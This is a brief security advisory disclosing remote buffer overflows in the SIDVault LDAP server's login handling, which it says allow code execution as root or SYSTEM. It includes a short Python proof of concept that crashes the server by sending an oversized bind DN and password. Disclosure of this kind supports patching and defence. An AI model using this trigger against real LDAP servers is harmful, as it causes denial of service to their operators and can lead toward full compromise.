SIDVault LDAP Server Remote Buffer Overflow
===========================================
Product Description:
SIDVault LDAP Server for Win32 and GNU/Linux
SIDVault is a Simple Integration Database, allowing easy management and
installations with high performance LDAP v3 server. It supports any
number of schemas, easy to add/modify existing schemas, integrated web
based user access, and fast browser based administration tools. Supports
all relevant RFC protocols LDAP v2, LDAP v3, HTTP, ILS.
Vulnerable versions:
Win32 2.0e
Linux 2.0d
Vulnerability Details:
The login mechanism is prone to multiple buffer-overflow vulnerabilities
because it fails to adequately bounds-check user-supplied input before
copying it to an insufficiently sized buffer.
Successfully exploiting the issue will allow an attacker to execute
arbitrary code with root or SYSTEM-level privileges depending on the
operative system target. Failed exploit attempts will result in a
denial-of-service condition.
Proof of concept:
# gdb /usr/local/sidvault/sidvault
(...)
(gdb) r -run
In another terminal:
$ cat poc.py
import ldap
l = ldap.open("localhost")
l.simple_bind("dc=" + "A"*4099, "B"*256)
$ ./poc.py
In the first terminal:
Program received signal SIGSEGV, Segmentation fault.
